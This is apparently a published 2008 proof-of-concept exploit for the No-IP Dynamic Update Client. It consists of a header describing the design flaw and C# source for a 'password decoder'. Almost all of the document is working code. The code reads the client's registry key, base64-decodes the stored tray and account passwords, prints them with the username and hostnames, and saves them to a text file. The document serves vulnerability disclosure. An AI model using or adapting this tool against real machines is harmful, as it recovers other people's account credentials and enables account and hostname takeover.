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DUC NO-IP Local Password Information Disclosure Vulnerability



/* 
 * DUC NO-IP Local Password Information Disclosure
 * Author(s): Charalambous Glafkos
 *            George Nicolaou
 * Date: March 11, 2008
 * Site: http://www.astalavista.com
 * Mail: glafkos@xxxxxxxxxxxxxxx
 *       ishtus@xxxxxxxxxxxxxxx
 *
 * Synopsis: DUC NO-IP is prone to an information disclosure vulnerability due to a design error.
 *           Attackers can exploit this issue to obtain sensitive information including tray password,
 *           web username, password and hostnames that may lead to further attacks.
 *            
 * Note: Vendor has been notified long time ago confirming a design error.
 * Vendor site: http://www.no-ip.com
 *           
 */

using System;
using System.Text;
using System.IO;
using Microsoft.Win32;

namespace getRegistryValue
{
    class getValue
    {
        static void Main()
        {
            getValue details = new getValue();
            String strDUC = details.getDUC();
            Console.WriteLine("\nDUC NO-IP Password Decoder v1.2");
            Console.WriteLine("Author: Charalambous Glafkos");
            Console.WriteLine("Bugs: glafkos@xxxxxxxxxxxxxxx");
            Console.WriteLine(strDUC);

            FileInfo t = new FileInfo("no-ip.txt");
            StreamWriter Tex = t.CreateText();
            Tex.WriteLine(strDUC);
            Tex.Write(Tex.NewLine);
            Tex.Close();
            Console.WriteLine("\nThe file named no-ip.txt is created\n");
        }
        
        private string getDUC()
        {
            RegistryKey ducKey = Registry.LocalMachine;
            ducKey = ducKey.OpenSubKey(@"SOFTWARE\Vitalwerks\DUC", false);
            String TrayPassword = DecodeBytes(ducKey.GetValue("TrayPassword").ToString());
            String Username = ducKey.GetValue("Username").ToString();
            String Password = DecodeBytes(ducKey.GetValue("Password").ToString());
            String Hostnames = ducKey.GetValue("Hosts").ToString();
            String strDUC = "\nTrayPassword: " + TrayPassword
                + "\nUsername: " + Username
                + "\nPassword: " + Password
                + "\nHostnames: " + Hostnames;
            return strDUC;
        }

        public static string DecodeBytes(String encryptedData) 
    {
        Byte[] toDecodeByte = Convert.FromBase64String(encryptedData);
        System.Text.UTF8Encoding encoder = new System.Text.UTF8Encoding();
        System.Text.Decoder utf8Decode = encoder.GetDecoder();
        int charCount = utf8Decode.GetCharCount(toDecodeByte, 0, toDecodeByte.Length);
        Char[] decodedChar = new char[charCount];
        utf8Decode.GetChars(toDecodeByte, 0, toDecodeByte.Length, decodedChar, 0);
        String result = new String(decodedChar);
        return (new string(decodedChar));
    }
  }   
}